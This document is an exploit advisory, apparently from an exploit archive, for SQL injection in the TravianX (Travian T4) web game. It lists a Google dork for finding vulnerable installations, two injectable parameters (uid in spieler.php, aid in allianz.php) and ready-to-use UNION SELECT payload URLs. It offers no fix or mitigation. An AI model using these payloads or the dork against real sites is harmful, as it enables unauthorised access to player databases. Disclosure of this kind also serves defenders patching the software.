TravianX Sql Injection Vulnerabilities

#
#     ____                        68b                  
#    6MMMMb\                      Y89                  
#   6M'    `                       9                   
#   MM       ____    ___   ____   /     ____     ____  
#   YM.      `MM(    )M'  6MMMMb\      6MMMMb   6MMMMb 
#    YMMMMb   `Mb    d'  MM'    `     MM'  `Mb MM'  `Mb
#        `Mb   YM.  ,P   YM.                MM      ,MM
#         MM    MM  M     YMMMMb           .M9     ,MM'
#         MM    `Mbd'         `Mb       MMMM     ,M'   
#   L    ,M9     YMP     L    ,MM          `Mb ,M'     
#   MYMMMM9       M      MYMMMM9            MM MMMMMMMM
#                d'                         MM         
#            (8),P                    MM.  ,M9         @PT
#             YMM                      YMMMM9           
#  
#
# ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
# TravianX Multi Sql Injection Vulnerabilities
# Google Dork: intext:"Mehran EBDa"
# Date: 14/8/2012
# Author: Sys32
# Email: tha.Sys32[at]gmail[dot]com
# Application Link: https://github.com/akshay9/Travian-T4
# Version: Travian T4 by EBda
Ł Category: Webapp
# ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
# I. INFO.
# ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
# The application is vulnerable to sql injection, allowing to gain full access to the database.
# To gain access to the vulnerable pages you must register.
#
# ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
# II. EXPLOIT.
# ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
#
# http://127.0.0.1/spieler.php?uid=[Sql-Injection]
#
# http://127.0.0.1/allianz.php?aid=[Sql-Injection]
#
# ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
# III. EXPLOIT Example.
# ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
#
# http://127.0.0.1/spieler.php?uid=9+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40--
#
# http://127.0.0.1/allianz.php?aid=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40--
#
# ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
# IV. Risk.
# ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
# The security risk of the remote sql injection vulnerability is estimated as high.
# ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''



#  0day.today [2018-03-03]  #